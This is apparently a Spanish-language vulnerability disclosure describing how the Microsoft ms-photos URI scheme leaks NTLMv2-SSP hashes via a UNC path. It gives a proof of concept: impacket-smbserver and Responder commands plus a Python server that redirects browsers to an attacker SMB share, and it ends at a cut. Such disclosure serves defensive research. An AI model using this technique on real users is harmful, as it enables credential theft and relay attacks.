
Nueva vulnerabilidad de día cero que permite filtrar hashes NTLM desde navegadores con un clic.
Por Ruben Enkaoua
El esquema URI ms-photos de Microsoft toma fileName como parámetro, el cual puede ser enviado con una ruta UNC, filtrando hashes NTLMv2-SSP una vez abierto. Al elaborar un enlace especialmente formateado, un atacante puede obligar a una víctima a iniciar la aplicación Microsoft Fotos directamente desde el navegador. Cuando se activa, este comportamiento resulta en la filtración del hash NTLMv2-SSP de la víctima hacia un servidor controlado por el atacante. Este problema permite la exposición de credenciales y potenciales ataques de retransmisión en entornos empresariales, requiriendo solo una mínima interacción del usuario (abrir la aplicación). Microsoft no reconoció la vulnerabilidad y no se emitió ningún CVE. Además, me inspiré en el blog de Syss de 2022.
Dado que el desafío NTLMv2-SSP puede filtrarse hacia rutas UNC públicas (excepto si se establece una regla de firewall saliente SMB/445), la vulnerabilidad puede combinarse con infecciones de sitios web, lo que lleva a ataques a la cadena de suministro.
Según la documentación de MSDN sobre el esquema URI, podemos encontrar lo siguiente:
Abrir el servidor SMB
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
Iniciar el servidor Python malicioso
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
Navegar a la ubicación
Abrir Chrome y navegar a /test

Además, se puede hacer con responder. Cualquier dominio no resuelto que emita una solicitud LLMNR será redirigido al script, permitiendo coaccionar a cualquier usuario en lugar de mostrar una ventana de autenticación NTLM usuario/contraseña. Para que funcione, ejecute primero el script y luego el responder.

Funciona porque nuestra aplicación está redirigiendo directamente a un esquema URI ms-photos, que contiene la ruta UNC de nuestro servidor:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
Redirección desde el lado del cliente: